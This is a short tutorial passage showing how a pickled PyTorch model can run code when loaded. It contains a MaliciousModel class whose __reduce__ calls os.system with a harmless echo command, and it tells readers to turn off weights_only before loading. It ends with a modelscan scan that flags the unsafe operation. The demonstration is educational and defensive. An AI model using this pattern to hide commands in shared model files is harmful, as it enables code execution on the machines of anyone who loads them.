defforward(self, x): return self.linear(x) if __name__ == "__main__": model = SafeModel()
# save the model torch.save(model.state_dict(), "safe_model.pth")
Prepare Malicious Model
This is a malicious model that will generate an output when you load it.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
from torch import nn import torch import os
classMaliciousModel:
def__reduce__(self): print("Reduce called!") # 應該會印出 return (os.system, ("echo 'This is a malicious model!' > malicious_output.txt",)) if __name__ == "__main__": model = MaliciousModel()
# save the model torch.save(model, "malicious_model.pth")
Load model
Torch already has basic protection, so we need to temporarily turn off the weights_only option. After you load the model, you will see a file called malicious_output.txt. This means the malicious behavior has already happened suddenly.
Scanning /Users/hsiangjenli/Documents/github/mlops-survey/malicious_model.pth:malicious_model/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan